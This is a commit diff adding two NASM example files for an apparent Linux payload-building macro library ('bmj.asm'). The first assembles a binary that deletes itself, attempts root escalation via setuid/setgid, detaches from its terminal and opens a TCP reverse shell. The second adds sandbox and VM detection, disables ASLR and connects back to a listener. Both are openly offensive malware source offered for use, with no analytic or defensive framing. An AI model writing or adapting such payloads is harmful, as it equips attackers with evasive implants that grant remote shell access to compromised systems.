Updates examples

Author: Wintrmvte

examples/reverse_shell.asm

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+BITS 64
+ %include "bmj.asm"
+ section .text
+ global _start
+ _start: 
+ remove_self ; The binary removes itself if it's size is circa current payload size ('fsize' variable)
+ set_priority MAX_PRIO ; We set process priority to maximum
+ elevate_full ; Privilege escalation attempt via SETGID(0) ats SETUID(0)
+ tty_detach ; setsid(0x00) == detach from controlling TTY device
+ revshell "127.0.0.1", 5555 ; Spawn a standard TCP reverse shell
+ get_current_size_var ; Initiate the 'fsize' variable used by 'remove_self' macro

examples/vm_and_stuff.asm

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+ BITS 64
+ %include "bmj.asm"
+ section .text
+ global _start
+ _start:
+ nops 40
+ flock ; Enforce only a single process instance of the payload running concurrently
+ vm_age ; Check if the sample was launched inside VM by inspecting /etc/hostname STATX structure
+ disable_aslr ; Disable ASLR for further use
+ sock_connect "127.0.0.1", 6666 ; Address for reverse TCP pingpack
+ padd_byte 800, 0x90 ; Padds the payload size with '0x90' to reach exactly 256 bytes in total after being composed by Nasm